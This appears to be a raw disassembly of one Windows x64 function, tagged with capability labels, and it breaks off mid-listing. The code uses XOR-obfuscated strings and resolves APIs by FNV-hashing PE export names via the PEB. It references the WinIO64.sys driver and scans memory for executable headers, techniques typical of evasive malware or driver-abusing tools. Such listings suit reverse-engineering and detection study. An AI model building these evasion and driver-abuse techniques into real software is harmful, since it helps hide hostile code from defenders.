Function at 0x14007ae20
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push r13
push r14
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov rax, qword [0x14014d0c0]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor esi, esi
mov qword [rsp + 0x50], rdx
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
mov r14, r8
mov qword [rbp - 0x68], rsi
movups xmmword [rbp - 0x80], xmm0
mov r13, rcx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + rcx], sil
jne 0x14007ae64
mov qword [rsp + 0x198], rbx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x150], rdi
mov rdx, r13
movaps xmmword [rsp + 0x130], xmm6
call fcn.140021570
lea rcx, [rbp - 0x80]
call fcn.14007aa60
test al, al
jne 0x14007b111
movups xmm1, xmmword [0x1401386a0]
movups xmm0, xmmword [0x140138690]
movups xmmword [rbp - 0x30], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x40], xmm0
test al, al
je 0x14007b050
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007b00f
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x3c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x20
jl 0x14007af10
jmp 0x14007b050
lea r8, [rbp - 0x40]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, sil
inc esi
xor byte [r8 - 1], cl
cmp esi, 0x20
jl 0x14007b020
lea rcx, [rbp - 0x40]
call fcn.140035b60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007b0e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007b0e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x9ec27e89
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007b0e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007b0c0
cmp r8d, 0x284673e8
je 0x14007b0ec
test r9d, r9d
jne 0x14007b0a0
mov rax, qword [rax]
jmp 0x14007b070
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, str.pause_NUL
add rax, r10
call rax
jmp 0x14007cd2c
movsd xmm0, qword [0x1401380d8]
movzx eax, word [0x1401380e0]
mov qword [rsp + 0x148], r12
mov r12d, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0x140], r15
lea r15, [0x140150810]
movsd qword [rsp + 0x60], xmm0
mov word [rsp + 0x68], ax
nop dword [rax]
movzx eax, word [rsp + 0x68]
shr ax, 8
test al, al
je 0x14007b18f
xor byte [rsp + 0x60], 0x36
xor byte [rsp + 0x61], 0x37
xor byte [rsp + 0x62], 0x38
xor byte [rsp + 0x63], 0x39
xor byte [rsp + 0x64], 0x3a
xor byte [rsp + 0x65], 0x3b
xor byte [rsp + 0x66], 0x3c
xor byte [rsp + 0x67], 0x3d
xor byte [rsp + 0x68], 0x3e
xor byte [rsp + 0x69], 0x3f
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x60]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14014d5e0], rax
cmp byte [rsp + 0x69], sil
jne 0x14007b1fb
xor byte [rsp + 0x60], 0x36
xor byte [rsp + 0x61], 0x37
xor byte [rsp + 0x62], 0x38
xor byte [rsp + 0x63], 0x39
xor byte [rsp + 0x64], 0x3a
xor byte [rsp + 0x65], 0x3b
xor byte [rsp + 0x66], 0x3c
xor byte [rsp + 0x67], 0x3d
xor byte [rsp + 0x68], 0x3e
mov byte [rsp + 0x69], 0x3f
cmp rax, 0xffffffffffffffff
jne 0x14007be1c
lea rcx, [r15 - 1]
nop dword [rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x14007b210
xor edx, edx
nop dword [rax]
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14007b220
xorps xmm0, xmm0
mov qword [rbp - 0x30], rsi
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r15 + r8], sil
jne 0x14007b246
mov rdx, r15
lea rcx, [rbp - 0x40]
call fcn.140021570
lea rcx, [rbp - 0x40]
call fcn.14007aa60
test al, al
je 0x14007bd58
cmp byte [0x140138763], sil
movups xmm0, xmmword [0x140138748]
mov eax, dword [0x140138760]
mov dword [rbp - 8], eax
mov eax, dword [0x140139120]
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x68], eax
movsd xmm0, qword [0x140138758]
movzx eax, word [0x140139124]
movsd qword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x140139108]
mov word [rbp - 0x64], ax
mov eax, dword [0x1401385c8]
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x78], eax
movsd xmm0, qword [0x140139118]
movzx eax, word [0x1401385cc]
movsd qword [rbp - 0x70], xmm0
movsd xmm0, qword [str.AVPUdXN___.__D]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x1401385ce]
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x7e], al
je 0x14007b474
mov r8d, esi
cmp r12d, 2
jl 0x14007b437
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x1c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007b330
cmp r8d, 0x1c
jge 0x14007b474
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1c
jl 0x14007b441
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007b507
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007b507
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x6dddb3df
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007b502
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007b4e0
cmp r8d, 0xbf36f33e
je 0x14007b50c
test r9d, r9d
jne 0x14007b4c0
mov rax, qword [rax]
jmp 0x14007b490
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x20]
add rax, r10
call rax
cmp byte [rbp - 5], sil
jne 0x14007b6b4
mov r8d, esi
cmp r12d, 2
jl 0x14007b677
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x1c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007b570
cmp r8d, 0x1c
jge 0x14007b6b4
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1c
jl 0x14007b681
cmp byte [rbp - 0x63], sil
je 0x14007b844
mov r8d, esi
cmp r12d, 2
jl 0x14007b807
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007b700
cmp r8d, 0x1e
jge 0x14007b844
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1e
jl 0x14007b811
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007b8d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007b8d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd15ceaa3
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14007b8d2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14007b8b0
cmp r8d, 0xe54a0f2a
je 0x14007b8dc
test r9d, r9d
jne 0x14007b890
mov rax, qword [rax]
jmp 0x14007b860
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x80]
add rax, r10
call rax
cmp byte [rbp - 0x63], sil
jne 0x14007ba84
mov r8d, esi
cmp r12d, 2
jl 0x14007ba47
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007b940
cmp r8d, 0x1e
jge 0x14007ba84
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1e
jl 0x14007ba51
cmp byte [rsp + 0x7e], sil
je 0x14007bbe3
mov r8d, esi
cmp r12d, 2
jl 0x14007bb9c
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rsp + 0x70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rsp + 0x70], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rsp + 0x74]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x14007bbb0
mov rdx, r15
lea rcx, [rsp + 0x70]
call fcn.14007abd0
cmp byte [rsp + 0x7e], sil
jne 0x14007b150
mov r8d, esi
cmp r12d, 2
jl 0x14007bd08
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rsp + 0x70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rsp + 0x70], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rsp + 0x74]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x14007bd20
jmp 0x14007b150
lea rcx, str.____could_not_find_winio_driver._n____please_make_sure__WinIO64.sys__is_in_the_same_folder._n
call fcn.140035b60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bdf7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bdf7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x92be761f
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bdf2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007bdd0
cmp r8d, 0x6c69e87e
je 0x14007bdfc
test r9d, r9d
jne 0x14007bdb0
mov rax, qword [rax]
jmp 0x14007bd80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, str.pause_NUL
jmp 0x14007cd17
mov r14, rsi
movabs rdi, 0x200000000
nop dword [rax]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 2
mov rcx, r14
mov rdx, rax
mov rbx, rax
call fcn.14007a880
cmp byte [rbx], 0x4d
jne 0x14007be5e
cmp byte [rbx + 1], 0x5a
je 0x14007bf20
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add r14, 0x100000
cmp r14, rdi
jb 0x14007be30
movzx eax, word [0x140138440]
movsd xmm0, qword [0x140138438]
movsd qword [rsp + 0x50], xmm0
mov word [rsp + 0x58], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bf1b
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bf1b
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x7108e37b
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bf16
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007bef0
cmp r8d, 0xf4253be2
je 0x14007cccc
test r9d, r9d
jne 0x14007bed0
mov rax, qword [rax]
jmp 0x14007bea0
test r14, r14
je 0x14007be73
mov ecx, 0xbfffff
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0xbfffff
mov rcx, r14
mov rdx, rax
mov rbx, rax
call fcn.14007a880
lea rdx, [0x14014d191]
mov r15, rsi
sub rdx, rbx
lea r11, [rbx + 2]
sub rdx, 2
mov r10d, esi
mov cl, 1
mov r9d, esi
mov rax, r11
test cl, cl
je 0x14007c0f4
movzx r8d, byte [rdx + rax - 1]
test r8b, r8b
je 0x14007bf88
cmp byte [rax - 2], r8b
je 0x14007bf88
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rdx + rax]
test r8b, r8b
je 0x14007bf9f
cmp byte [rax - 1], r8b
je 0x14007bf9f
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 1]
test r8b, r8b
je 0x14007bfb6
cmp byte [rax], r8b
je 0x14007bfb6
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 2]
test r8b, r8b
je 0x14007bfce
cmp byte [rax + 1], r8b
je 0x14007bfce
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 3]
test r8b, r8b
je 0x14007bfe6
cmp byte [rax + 2], r8b
je 0x14007bfe6
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 4]
test r8b, r8b
je 0x14007bffe
cmp byte [rax + 3], r8b
je 0x14007bffe
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 5]
test r8b, r8b
je 0x14007c016
cmp byte [rax + 4], r8b
je 0x14007c016
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 6]
test r8b, r8b
je 0x14007c02e
cmp byte [rax + 5], r8b
je 0x14007c02e
